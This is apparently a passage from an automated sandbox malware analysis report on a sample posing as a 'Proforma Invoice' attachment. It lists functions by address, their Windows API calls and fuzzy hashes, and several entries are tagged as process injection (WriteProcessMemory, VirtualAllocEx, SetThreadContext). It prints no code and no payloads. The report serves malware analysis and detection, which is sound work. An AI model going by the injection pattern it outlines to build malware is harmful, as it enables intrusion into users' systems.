Instruction Fuzzy Hash: E531BCB09042898FCB10CFA9C9557EEFFF4EF85324F20849AD558A72A1C7349942CB96

Function 07277809 Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 072778BC

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 3daac6ec5722794d1e4b7d1f8218dd123dd0cac60c09be288b7116ca0c0c0386
Instruction ID: 867acae3cda47c38e1ef38ae48394e320701be3011581c35b5c9c82e6f536907
Opcode Fuzzy Hash: 3daac6ec5722794d1e4b7d1f8218dd123dd0cac60c09be288b7116ca0c0c0386
Instruction Fuzzy Hash: 0F31A2B19093959FDB15CFA9C8946DEFFF4EF4A310F1480AED444A7252D338A809CB65

Function 07278A30 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000003,00000000,00000000,?,?,?,00000000), ref: 07278AAE

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b2b28a4aeae38bc87b18423c9b55a717150a866fe506cd0b59d37d24e6fe69ba
Instruction ID: b4deb3689d3767b74aee05cb0462634c9705f1fa95f24b0a8d19460118fa09c7
Opcode Fuzzy Hash: b2b28a4aeae38bc87b18423c9b55a717150a866fe506cd0b59d37d24e6fe69ba
Instruction Fuzzy Hash: 8421FF76B001069FEB14EB69DC01BAAB7A6FFC4314F088165E5099B355CB74E822CB90

Function 07271DD8 Relevance: 1.6, APIs: 1, Instructions: 75injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07271E70

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0fc7a64b54454c7e0eaa9dd4a35a732f939b01b1b3f244c558c8c5c53abd3605
Instruction ID: fc6f8bc7e3f7f6f8bb318581d76e7a8ae5e3fa04277785d9119b08b2893947d7
Opcode Fuzzy Hash: 0fc7a64b54454c7e0eaa9dd4a35a732f939b01b1b3f244c558c8c5c53abd3605
Instruction Fuzzy Hash: DA2148B590035ADFCB10CFA9C981BDEBBF5FF48310F108429E959A7250C7749955CBA4

Function 07274B12 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(00000001,?,?,?,?), ref: 07274BD2

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 839d5047e51f90d521db1a501343f4b11c3f718d0e30ff0ba0454395eed3a579
Instruction ID: 18441beaffea39659a415290fb2f97003089465f1736a4adce8b402fd1826576
Opcode Fuzzy Hash: 839d5047e51f90d521db1a501343f4b11c3f718d0e30ff0ba0454395eed3a579
Instruction Fuzzy Hash: 47312870D052499FCB01DFB8D8559EEBFB2FF49340F0480AAE554AB252D7346A46CF91

Function 04DED714 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04DEECA5,?,?), ref: 04DEED57

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: de6bcab0441670ff6c3f10a1d65b9cfcc90caed38bb97c7ce556faaecdddfd50
Instruction ID: 6309e027b347563712a5583f52a3711599200b421e13b87ccc34b5344801f7a6
Opcode Fuzzy Hash: de6bcab0441670ff6c3f10a1d65b9cfcc90caed38bb97c7ce556faaecdddfd50
Instruction Fuzzy Hash: 4331EEB5D002099FDB10DF9AD884AEEFBF4FB48320F14842AE919A7310D375A944CFA0

Function 07277730 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 072777CA

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 5dbbca8ed5b26907fc91a9980f4ac092ddbcfd02ac8b3cd8fc8b1cd157248afc
Instruction ID: b51688f82d6fef70bd0e43df02ff577b6b9253ba95e064c945e4a169898808b5
Opcode Fuzzy Hash: 5dbbca8ed5b26907fc91a9980f4ac092ddbcfd02ac8b3cd8fc8b1cd157248afc
Instruction Fuzzy Hash: C92139B6C0424A8FDB10CF9AC984ADEBBF4EF49310F14C06AD854A7251D338A54ACF65

Function 04DEECB8 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04DEECA5,?,?), ref: 04DEED57

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 6b0bc4a1265759a112af404293fbb3b8d66e68862bbe2af4fc0c8c8e0fbc8dd6
Instruction ID: 8d009721ed91df9cd28c3ca517625b6e832485c0be96945898575a74474b3761
Opcode Fuzzy Hash: 6b0bc4a1265759a112af404293fbb3b8d66e68862bbe2af4fc0c8c8e0fbc8dd6
Instruction Fuzzy Hash: D631C0B5D002099FDB10DF9AD984AEEBBF5BF48320F14842AE519A7650D374A944CFA1

Function 0727F1E0 Relevance: 1.6, APIs: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0727F272

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6c66618997f64c754e093196b3815b7432bbe7344db218fe91b76994e006daaa
Instruction ID: 6a58aa3fff73d812253f8cb5099459f11927848652567584f6e429992a957943
Opcode Fuzzy Hash: 6c66618997f64c754e093196b3815b7432bbe7344db218fe91b76994e006daaa
Instruction Fuzzy Hash: 693143B090428A8FCB00DFA9C945A9EFBB0FF49310F14C55AD458AB212C334A949CFA1

Function 07271DE0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07271E70

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5dfeef7057e28106716cb3da0e51575ea324eab450f69d821b7a415e89ece427
Instruction ID: bee4d507e819ddbff5e794a438ce5d4123abe9c608e78b7ab86ca464cd1cb043
Opcode Fuzzy Hash: 5dfeef7057e28106716cb3da0e51575ea324eab450f69d821b7a415e89ece427
Instruction Fuzzy Hash: 8A2136B190035ADFCB10CFA9C985BDEBBF5FF88310F10842AE959A7250C7789954CBA4

Function 07271C41 Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07271CC6

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d08bfe725266b346ea6961b87935dcd19d9ef167ec310ceb70705acaa5520452
Instruction ID: acf236046ad7579b017836f1cbfee92c06e4240ec84fec68c507850c74ecf255
Opcode Fuzzy Hash: d08bfe725266b346ea6961b87935dcd19d9ef167ec310ceb70705acaa5520452
Instruction Fuzzy Hash: 162148B191020A8FDB10DFAAC5857EEBBF4EF88324F14842DD459A7240CB789985CBA5

Function 00A5D768 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00A5D7F7

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e2014fbe31ea7e5f5621f45fe34f49ecb1e14e83e8a30e502b855bd75116cd3f
Instruction ID: ef6d8b24757fb793f3588b825890c2e2916c347ea8882f6fa43ef2ab9e94cc40
Opcode Fuzzy Hash: e2014fbe31ea7e5f5621f45fe34f49ecb1e14e83e8a30e502b855bd75116cd3f
Instruction Fuzzy Hash: B221F4B5900249DFDB20CFAAD584ADEBFF4EB48310F14841AE954A3210D374A945CF60

Function 07271EC9 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 07271F50

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1cec2caedd1bb572beca7033a2fa53449c5bd8acaa0b4e2fa00effb4fa02c356
Instruction ID: 2e708645e29af096c994c3baa1395bea24a114e21defb0a37a23e7b0315a348f
Opcode Fuzzy Hash: 1cec2caedd1bb572beca7033a2fa53449c5bd8acaa0b4e2fa00effb4fa02c356
Instruction Fuzzy Hash: 5D2116B1900259DFCB10DFAAC980AEEFBF5FF88320F10842AE559A7250D7349955CBA5

Function 07375F81 Relevance: 1.6, APIs: 1, Instructions: 65windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07376005

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d8334124396b547be33e71513ee106c69969f4a9ce22a188e2d7bea396ec35c7
Instruction ID: 7a506d8c1145d80e6e794a5c3f6074530646dc10f6f3d9eaae012951b1caa72c
Opcode Fuzzy Hash: d8334124396b547be33e71513ee106c69969f4a9ce22a188e2d7bea396ec35c7
Instruction Fuzzy Hash: 3A216DB180438ADFDB11CF95C855BDABFF4EF0A310F14849AD454A7252D378A954CFA1

Function 07271ED0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 07271F50

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 181311baa2eeef6f73d69cdbfa36506893e02c9a525392552ebf38a8f57168d4
Instruction ID: dd32d1076d4b6d18f0aeac707bb36f85f682b265de969470d8412aed527b69b0
Opcode Fuzzy Hash: 181311baa2eeef6f73d69cdbfa36506893e02c9a525392552ebf38a8f57168d4
Instruction Fuzzy Hash: 462116B18003599FCB10DFAAC980ADEFBF5FF48320F108429E559A7250C7349954CBA5

Function 07271C48 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07271CC6

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fd7882a9322d4e7f731a6c06042abb2223e09d5ac747961c831228d976e4e6b5
Instruction ID: 45f82d12074e589b33c4172ce37af6bd16bc5fa19fb3ba63431e25da9c3052dd
Opcode Fuzzy Hash: fd7882a9322d4e7f731a6c06042abb2223e09d5ac747961c831228d976e4e6b5
Instruction Fuzzy Hash: D72138B1D102098FDB10DFAAC5857EEBBF4EF88324F10842DD459A7240CB78A945CFA5

Function 0727F2DA Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 0727F351

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 1e004bee5fd7e8da2817b6b399659683035121f4cc9a6005c840904a2a330f61
Instruction ID: a388fa49b255ca74670a84a0a253274d31c3de190ece124cc20814d6a11c7ef5
Opcode Fuzzy Hash: 1e004bee5fd7e8da2817b6b399659683035121f4cc9a6005c840904a2a330f61
Instruction Fuzzy Hash: 082149B1D0425A8FDB14CFAAC944BEEFBF5FB88310F148429D458A3250C778A945CFA5

Function 0B06A73F Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0B06A76D

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b06f3364fd61d80fd860dfb3872bed368e13e54840200398f2e9adfbe140a147
Instruction ID: 15907bef092691cac973a190157ca44e9b7c97deb2b17487139015abd011d1f6
Opcode Fuzzy Hash: b06f3364fd61d80fd860dfb3872bed368e13e54840200398f2e9adfbe140a147
Instruction Fuzzy Hash: CB1152343105508FD76DAB39C8548697BF6AF86B5531544EAE502CB3B6DE35DC02CB60

Function 00A5D770 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00A5D7F7

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c51440cd5db51583bcceef37740b3b75f72027b7b7f2727223ed36bc1a9261af
Instruction ID: 0fd946b9b777155025fcd19217733e1c6125f9454d7e1e3b16e1a41c6d288420
Opcode Fuzzy Hash: c51440cd5db51583bcceef37740b3b75f72027b7b7f2727223ed36bc1a9261af
Instruction Fuzzy Hash: AF21E2B5900249DFDB10CFAAD984ADEFBF8FB48320F14801AE918A3310D374A944CFA5

Function 07277840 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 072778BC

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: cd7c9e240a7dcda85ead5235c696598cf5e00d47e1f3b1661f840438a5c8e6ee
Instruction ID: 2bb10149f0365a853c1db57973becc7a930c0d4c22603f39a718b35cebad2f79
Opcode Fuzzy Hash: cd7c9e240a7dcda85ead5235c696598cf5e00d47e1f3b1661f840438a5c8e6ee
Instruction Fuzzy Hash: 162104B1D0171A9FDB10CF9AC984ADEFBF4EB48310F14802AE458A7350D374A944CBA5

Function 0727845F Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 072784D9

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 75017fd2b71e8caa59b28b628f2c5ad88058ccdb0b0428c5d5e06359ad001185
Instruction ID: bbc1b1d9c4a7bc7e1140cd1a607f5ff3a0cef9cdd84f968cc31e97b5b2a511d4
Opcode Fuzzy Hash: 75017fd2b71e8caa59b28b628f2c5ad88058ccdb0b0428c5d5e06359ad001185
Instruction Fuzzy Hash: 5921C0B1D1071ACFCB209FA9C2592EEBBF1AB88310F248419C51AA7350DB759545CF91

Function 0727F2E0 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 0727F351

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: baf34a5f63513642553d65713328bb29dd480ef83c4e36cdf1339a0637745fb3
Instruction ID: 0371a15642bf463741162fe2881141b700b757daa0e7f7fce9cd0a4464e89f7c
Opcode Fuzzy Hash: baf34a5f63513642553d65713328bb29dd480ef83c4e36cdf1339a0637745fb3
Instruction Fuzzy Hash: 342147B1D0025A8FDB10CF9AC944BEEFBF4EB88320F14842AD458A3250C778A945CFA5

Function 0B06A750 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0B06A76D

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e2835a277a5d6425086d6b3ab11a2940f543dccc604de23f08447a197b61b32
Instruction ID: 527e9a524bb03be89045a4d88c6dd310b78088039b528d119bcdbed7f2028e36
Opcode Fuzzy Hash: 6e2835a277a5d6425086d6b3ab11a2940f543dccc604de23f08447a197b61b32
Instruction Fuzzy Hash: EF1129343505108FC76CBB39C85486A77EAAFC9AA531584A9E502CB3B5DE72DC02CB90

Function 07271D19 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 07271D8E

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8d321bb22c93224153ae5bade902ed7e1756318be109bd87a5c2638e9cb7b7ec
Instruction ID: 65fcec5134b2e30931f6be3a89e3ab57a1201a3f8e61ac5c9a47c951c3f2ac11
Opcode Fuzzy Hash: 8d321bb22c93224153ae5bade902ed7e1756318be109bd87a5c2638e9cb7b7ec
Instruction Fuzzy Hash: 8E1167B28002499FCB10CFA9C884BDFBFF5EF88324F248419E555A7250C735A951CFA0

Function 07278470 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 072784D9

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 08f2c838756d76b7def7a36802c6ca7b4731efd2fa77dbb68db1e8e541003c1e
Instruction ID: eeaefc25a768f1ba9270fcdfac82d32e5e7e309690d5d628988873c645f21691
Opcode Fuzzy Hash: 08f2c838756d76b7def7a36802c6ca7b4731efd2fa77dbb68db1e8e541003c1e
Instruction Fuzzy Hash: 2A11AFB0D1071ACFCB209FA9C2482EFBBF5AB48310F248819C51AA7340DB749544CFA2

Function 0737B231 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0737B2A0

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 84689a0b68ee36451d556bf6cb68a59bffc7e25187a5ba1137060fb6ccfbe214
Instruction ID: 6c20e92d629ee795d7b4c063fb7e80dda46698f209a001454688960daf8868cc
Opcode Fuzzy Hash: 84689a0b68ee36451d556bf6cb68a59bffc7e25187a5ba1137060fb6ccfbe214
Instruction Fuzzy Hash: 742117B5C0025ADFDB10CF9AD584ADEFBF4FB48320F10842AE958A3251D378A584CFA5

Function 0737B5D0 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0737B63D

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: fbd2f033380f30768881f124de6d55d59b2e231490e1970fa9eeb0502a2f4e74
Instruction ID: f52df6fe040bb961bbdbccafd2495cd99a39df8cd23d31b1e68891567bb0c476
Opcode Fuzzy Hash: fbd2f033380f30768881f124de6d55d59b2e231490e1970fa9eeb0502a2f4e74
Instruction Fuzzy Hash: A31114B58003499FDB10CF9AD944BDEFBF8EB48320F10852AE968A3251C378A545CFA5

Function 07277760 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 072777CA

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: cd1fa9694fe6491dfcf0eb8cc6a0ebd9f88d1b95347abef49d2a802d45b1d289
Instruction ID: c2d776b779b723492d8e67b2eda180f754a296fc950564e307917cc7d84b19d0
Opcode Fuzzy Hash: cd1fa9694fe6491dfcf0eb8cc6a0ebd9f88d1b95347abef49d2a802d45b1d289
Instruction Fuzzy Hash: 371114B680020A8FDB10CF9AC944BDEFBF4EB88320F10C42AD858A7250D378A545CFA5

Function 07271D20 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 07271D8E

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ccce4f8b7362322c3a1579a4f193ad778eab0286c484cb179e24364e46c0738e
Instruction ID: 7f1ea707b04f802a11eea5722e07d32fd8b7bfd7da13474f914ac5dbe5f750b3
Opcode Fuzzy Hash: ccce4f8b7362322c3a1579a4f193ad778eab0286c484cb179e24364e46c0738e
Instruction Fuzzy Hash: E81156B28002499FCB10DFAAC944ADEBBF5EF88320F108819E519A7250C735A950CFA4

Function 0737B238 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0737B2A0

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 8c4efd0379a438d939c65bd7e2dc23d1ab83758655417f5be422d412cfc6214a
Instruction ID: 9745bcbe368ff1c843ef639e42ce7a3f622cb3900eb4dcd9cd8bd636fedd9899
Opcode Fuzzy Hash: 8c4efd0379a438d939c65bd7e2dc23d1ab83758655417f5be422d412cfc6214a
Instruction Fuzzy Hash: 3011F6B5C00249DFDB10CF9AD584BDEFBF8EB48320F10842AE958A3251C378A544CFA5

Function 04DE0398 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 04DE03F8

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b6321e8d80d74864fe2912228ff84b270a58a2c73f9a41432696a1a6d17862eb
Instruction ID: 348609be0ff2238a3890e58f02b5fbe0f886f8baa3a2271480c49d71c44e1fef
Opcode Fuzzy Hash: b6321e8d80d74864fe2912228ff84b270a58a2c73f9a41432696a1a6d17862eb
Instruction Fuzzy Hash: A0113AB1D002598FDB10DF9AC6457EEBBF8EB48320F14842AD459A3241D774A584CFA5

Function 0737B5D8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0737B63D

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0249c182d7d5974cc07319c196ee075c8f5620350bbf5833c7649387675887ff
Instruction ID: d04dca5ac4777ef60928da9af6b40bacf4d7036f6e45d8971a841daf89bf97bc
Opcode Fuzzy Hash: 0249c182d7d5974cc07319c196ee075c8f5620350bbf5833c7649387675887ff
Instruction Fuzzy Hash: 4A11C3B5800259DFDB10DF9AD944BDEFBF8EB48324F10842AE558A3250C378A545CFA5

Function 07370C40 Relevance: 1.6, APIs: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07370CA5

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin
